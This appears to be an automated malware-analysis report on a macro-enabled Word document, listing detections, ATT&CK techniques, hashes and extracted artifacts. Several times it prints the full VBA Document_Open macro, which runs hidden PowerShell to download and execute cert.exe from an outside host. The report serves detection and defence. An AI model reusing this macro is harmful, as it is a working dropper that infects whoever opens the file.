MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.003 Windows Command Shell
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains a VBA macro that executes a Document_Open subroutine. This subroutine uses cmd.exe to launch PowerShell, which downloads a file named 'cert.exe' from 'http://templestudios.co.uk/css/cert.exe' to the %temp% directory and then executes it. This indicates a downloader or droppper functionality.
Heuristics 8
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ClamAV: Doc.Macro.Downloader-6360616-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Downloader-6360616-1
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Private Sub Document_Open() Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://templestudios.co.uk/css/cert.exe','%temp%\cert.exe');&start %temp%\cert.exe& exit") End Sub -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Private Sub Document_Open() Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://templestudios.co.uk/css/cert.exe','%temp%\cert.exe');&start %temp%\cert.exe& exit") End Sub -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
Private Sub Document_Open() Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://templestudios.co.uk/css/cert.exe','%temp%\cert.exe');&start %temp%\cert.exe& exit") End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://templestudios.co.uk/css/cert.exe','%temp%\cert.exe');&start %temp%\cert.exe& exit") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://templestudios.co.uk/css/cert.exe In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
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macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 549 bytes |
SHA-256: bae18ff48a38ee661fa9511260251f122558b2772bfda64b40cd62d621480a23 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://templestudios.co.uk/css/cert.exe','%temp%\cert.exe');&start %temp%\cert.exe& exit")
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 8192 bytes |
SHA-256: a9b58fbd32511ed97112fd0cb4521215d33a4e9d6cafffcad7b6b66923cc6416 |
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Detection
ClamAV:
Doc.Macro.Downloader-6360616-1
Obfuscation or payload:
unlikely
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